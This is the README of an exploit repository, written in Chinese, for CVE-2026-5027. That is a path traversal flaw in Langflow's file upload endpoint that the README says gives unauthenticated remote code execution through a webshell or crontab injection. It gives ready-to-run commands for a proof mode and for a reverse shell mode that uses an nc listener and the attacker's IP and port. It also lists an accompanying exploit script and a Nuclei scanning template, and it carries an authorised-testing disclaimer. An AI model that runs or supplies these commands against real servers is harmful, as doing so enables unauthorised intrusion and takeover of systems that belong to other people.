任意文件写入导致 RCE
通过文件上传实现未认证远程代码执行
Langflow 在文件上传端点(POST /api/v2/files)存在严重的路径遍历漏洞。
攻击者可发送包含 ../ 序列的恶意文件名,在服务器文件系统的任意位置写入任意文件。
这很容易导致完全远程代码执行(RCE) —— 例如通过放置 WebShell 或注入 crontab。
/tmp 写入测试文件)python3 CVE-2026-5027.py -t http://target:7860/ --proof
若存在漏洞,预期输出:
[+] Success! File written: ../../../tmp/CVE-2026-5027-proof.txt
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2026-5027.py -t http://target:7860/ --lhost YOUR_IP --lport 4444
| File | Description |
|---|---|
CVE-2026-5027.py | 主要 Python 利用程序(PoC + RCE) |
CVE-2026-5027.yaml | 用于扫描的 Nuclei 模板 |
README.md | 本文件 |
验证模式
python3 CVE-2026-5027.py -t http://target.com/ --proof
反向 Shell 模式
python3 CVE-2026-5027.py -t http://target.com/ --lhost 192.168.1.100 --lport 4444
本仓库仅用于教育和授权安全测试目的。
请负责任地使用,且仅用于你拥有明确测试许可的系统。
用 ❤️ 为红队社区制作